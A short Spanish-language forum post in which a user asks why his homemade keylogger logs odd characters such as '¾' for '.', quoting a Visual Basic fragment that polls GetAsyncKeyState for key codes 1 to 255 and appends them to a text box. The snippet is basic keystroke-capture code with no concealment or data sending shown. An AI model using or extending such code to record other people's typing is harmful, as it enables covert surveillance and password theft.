Caracters raros :S Keylogger

[BrokerJoker]

Bueno he creado 1 keylogger pero la cunado me guarda lo que estoy escribiendo por ejemplo si pongo "." me pone "¾"
Y asi muchos mas caracters de ese tipo .
Por que ser?
El codigo que utilizo es este :

Code Select Expand

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

Code Select Expand

RichTextBox1.Text = ("")